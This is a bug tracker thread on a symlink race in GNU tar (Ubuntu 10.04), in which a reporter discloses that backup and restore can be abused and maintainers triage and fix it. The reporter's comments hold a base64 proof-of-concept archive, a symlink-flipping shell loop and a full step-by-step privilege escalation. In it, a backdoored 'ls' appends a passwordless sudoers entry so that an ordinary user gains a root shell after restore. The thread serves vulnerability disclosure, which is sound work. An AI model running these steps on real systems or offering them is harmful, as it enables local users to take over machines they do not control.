Tar allows inclusion of arbitrary files in backup

[halfdog]

Binary package hint: tar

Tar does not check modifications of path during backup (symlinks). A local might use that to create arbitrary large backups or include arbitrary files at any locations, he as write access to, e.g. include a copy of real /etc at /home/[username]/root. The user would then need some social engineering (or hoster's automated "restore my site" button) to get the files restored to his home directory.

Tested on:
Description: Ubuntu 10.04 LTS
Release: 10.04

# apt-cache policy tar
tar:
  Installed: 1.22-2
  Candidate: 1.22-2
  Version table:
 *** 1.22-2 0
        500 http://archive.ubuntu.com/ubuntu/ lucid/main Packages
        100 /var/lib/dpkg/status

Base64 tar.bz2 of POC:
QlpoOTFBWSZTWSm2JAcAAUh/xMwwAgB7f/+fL2ffqv/v374QAAABAAhAAxzWSsQFIgUxTCnoT00m
1MyJtCeQjEHqBgAEeiDTBklPCRskyNJpoZGjBBpoDQNDIAGgaDjRkyMIxAMJoMAmg0DJk0ZMhhAY
SJJpqMo8hTZNMmU8jVDZTQGaZT9KaaBpp6NQZP1T8jv9nKcDwLIBJ0ECNGys1ryyCQTRiGgCDwD3
o+WX5g24/Nkq+LRjb7XAndAe72e2yuwXmpfUrpZCMzBlxAUCEATXovesr7aYkfTR4lJdRiwxmElQ
RxxLBWPugjxv8Nu2a8KQ2WJocRS+uVrPPMg1Mr8XPr5ktHgWbIQ5UxF6qu6Dsh1HnOhCkErs7f1g
Y7JyNmHjZhCiJJfeQCLwGQVGAa+KCzLxylXZgJ+sK9f7LhaSlwmyhYad86s+ZP2PVkPtNIteqAX0
n6++AkdEELo76Ypk8JOJEoKvhv7e703nfCr7osUr165LFgoQOkouvV5XWUU4z5+x9ZJORGEUSECM
dMRUq8vAgDIljwCKt45cxhcAbSeRBxAJeAS4cJ6SfarQ4WcUQf0VIuLDxOfejVd+B4iqRmbabktw
xZ/oTzigHWTGHCsaoYMzn9EvIXGKabBVvSETimpK5HbAbIN981yexbt7QWKuOUg/JYi1AQCCvjtH
JzFucGT8wUcjUwpmGU32NIkSCWAJycVDQVi0lFWVSyacCH3hCkPjjfSLkUuIx3JaTg2w2jfkhQNO
TDT5NKg6iqICcPf0FxZNjxM4unGzEGbThiHbcUmzdWkKsoWE9EKKoC4wcnOlYfvJBtfHYUQGJDRn
+Kd3t9yU7+SwWW3U9bxQOEbmiWrDiW5DG2xjDXzbshq+9aZmdMNplpwtPK0wuqJVo6ZHKWJRs5N5
IS5Dzo+XVxjuG0qxYM+mKkFfYSakhFBjOuLtFuDLmryHwRxW9nKYW0biwzItEi7Ph0W5UqF5DAOf
ZskGighYQH2U0hK9balJFLLi8OCo/3VF3RAbl2SEGBe6JPZNjHsiRzIxtcycYoMGXPNSKmVCqURB
o6ZypQSHKzCTRVhMy1pYOU/44GqjU8EgLep3q0YCeS0CdnFy38RAA/xdyRThQkCm2JAc

The attack can also be used without inotify, but chances per modified directory vary. Still, this allows remote attacks on backup, e.g. from a shared computer room machine, if e.g. home is mounted via NFS. The files included will then be from the server where the backup tasks run, most likely the storage server providing all NFS resources. The same should be possible via sftp access or malicious servlets. I haven't checked the chances for remote attacks, permanent local flips between show about 10-20% chance to win with following algorithm:

mkdir root
dd if=/dev/zero bs=1M count=50 "of=root/ "
mkdir root/etc

while true; do
  sleep 1
  mv root rootx
  ln -s / root
  sleep 1
  rm root
  mv rootx root
done

Since a malicious user might use e.g. 30 directories in parallel, it will give him 1-(0.9^30) chance to win (more than 95%). The size of the zero-byte file is important, it interferes with the tar delay (resulting from disk speed, compression speed). There might be optimization strategies with different file sizes, that give higher chances with lower number of files (leave that to the mathematicians).

Some thoughts on that topic:
http://www.halfdog.net/Software/SymlinksAndSecurity.html

Things todo:
* I haven't checked if it is possible to interfere with the proc interface in that way, e.g. to gain access to kernel memory or other information, although I guess, that I should be possible with more subtle time-races, that allow to change the permissions of the file in backup to arbitrary values also.

* I haven't checked, if the same issue is present during restore. If yes (as I suspect), and restore is run with root privileges, arbitrary code execution will follow, .e.g. by replacing any system files (e.g. use backdoored /bin/sh) or modification of /proc interface.

[halfdog (halfdog)]

Checked restore, following script will add a /bin/bash2 binary.

#!/bin/sh
mkdir -p root/adir
dd if=/dev/zero bs=1M count=100 of=root/adir/afile

mkdir root/bin
cp -a /bin/bash root/bin/bash2

echo "Wait for backup run, press any key ..." >&2
read xxxvar

echo "Waiting for event .." >&2
./DirModifyInotify "root/" "root" "/"

[Jamie Strandboge (jdstrand)]

I'm assuming you are talking about using '-h' along with '--update', in which case, I am not sure I see this as a security vulnerability. If someone is running tar backups as root, then he/she must be careful about what to copy and there is no information disclosure because it is root that is performing the backup. Not dereferencing symlinks is the normal way to do that-- check if the files are newer will always fail if the symlink is new-- since the files presumably don't exist in the original archive. If you are not running the backup as root, then normal unix permissions should protect from information disclosure.

I am going to mark this as Invalid for now. If you are talking about something else, please reopen as 'New' and explain the issue in detail with steps to reproduce.

[Jamie Strandboge (jdstrand)]

I misread your report initially (I missed your reproducer entirely) -- sorry.

As I understand it, the problem isn't so much about backup (a user doesn't really need this TOCTOU condition in the vast majority of situations, since most backups are automatic-- ie, no one would really notice/care about the symlink somewhere in the user's directory). However, restore does seem to be an issue because the TOCTOU does seem to be a problem-- ie an admin could review the tarball and see that it looks fine, then run it and get into trouble. This requires more investigation.

[Jamie Strandboge (jdstrand)]

It seems your report is a variant on http://<email address hidden>/msg00284.html. Specifically, when not using '--no-overwrite-dir' users are vulnerable to these sorts of symlink issues. Upstream said in the report tar is designed this way to be compatible with other implementations.

halfdog, does your PoC work when using '--no-overwrite-dir' to unpack?

[halfdog (halfdog)]

No, it is not about the -h option and symlink dereferencing in the last element of a path. This method makes tar dereference symlinks undetected in an higher path level (not the last level), e.g. when dealing with file /home/user/tmp/etc/sshd/, the dereference might occur with the element [etc] (see POC.tar.bz2 from initial report. test.sh can be run as [user]). All new and update checks will fail, since tar is not knowning that it is following a symlink, so the user has full control, which files are included in his backup, even when file is not accessible by him. Until now, there is no real damage done (unless the user included / over and over again, thus leading to DOS of backup infrastructure), because info has not leaked yet.

The same is true during restore, leading to overwrite of arbitrary files. Just run the script from note 2010-04-26 as user [anyuser] in his home directory.

Here is an example how to replace "ls" with a backdoored variant during a backup/restore cycle of /home/test. The user to run a command is given in front of every command. Use two parallel shells, since the user has to be logged in during restore !!!!!!!!

Create user "test" (our bad user):

root# useradd test --gid users
root# mkdir /home/test
root# chown test.users /home/test

Login as user "test", extract poc from initial note (end with Ctrl-D):

test# base64 -d | tar -xjv

Compile the helper:

test# gcc -o DirModifyInotify DirModifyInotify.c

Prepare the user directory for the nightly backup job (all run as user test)

cd /home/test
mkdir -p root/adir
dd if=/dev/zero bs=1M count=1 of=root/adir/afile
mkdir root/bin
cat <<EOF > root/bin/ls
#!/bin/bash
test -r /etc/shadow && echo "test ALL=NOPASSWD: ALL" >> /etc/sudoers
exec /bin/ls2 "\$@"
EOF
chmod 0755 root/bin/ls
cp -a /bin/ls root/bin/ls2

Run nightly backup as root, this will run 100% as expected, producing a standard user home dir backup

root# tar -C / -cvf /test.dump ./home/test/

Run trap commands as user test in /home/test:

test# rm -rf root/bin
test# echo "Waiting for event .." >&2
test# ./DirModifyInotify "root/" "root" "/"

Restore backup as root:

root# tar -C / -xvf /test.dump ./home/test/

Run "ls" as root, giving full root permissions to user "test" since backdoored ls will add password-less sudo for user test

root# ls

Perform sudo -s /bin/bash to get root

test# sudo -s /bin/bash

Done

[halfdog (halfdog)]

Sorry, was composing last note while your were answering.

Tested with restore:

 tar -C / -xvf /test.dump --no-overwrite-dir ./home/test/

Gives root shell also

[halfdog (halfdog)]

From my point of view, backup generation this way is also problematic. When admin does not examine backup tarball closely, it might look like a user home, where a user has exploded some /etc backup from any machine (his private one?) for testing purpose. If restore process is done in a way to change permissions of restored files to user automatically, that would make a root readonly ssh host key a standard user readonly file in his home directory.

More trouble when backup runs on central user server, where all home dirs resides. One user is logged on and has one homedir mounted via NFS (including symlinks). With the 10-20% statistical flip algorithm, he might include files from the central user storage server in his own backup, since tar runs in context of server, not user PC.

[halfdog (halfdog)]

Has ubuntu security team in their role as cve CNA already assigned a CVE ID to this class of issues? Since the nearly identical issues effects other products and vendors too, a common identifier might be helpful. Maybe cert has already done so and communicated the id to ubuntu team, but not me?

[halfdog (halfdog)]

The read timerace was fixed in gnu tar release 1.24

[Marc Deslauriers (mdeslaur)]

This is public now.

[Jamie Strandboge (jdstrand)]

This was fixed in 1.25-3. http://git.savannah.gnu.org/cgit/tar.git/plain/NEWS?id=release_1_24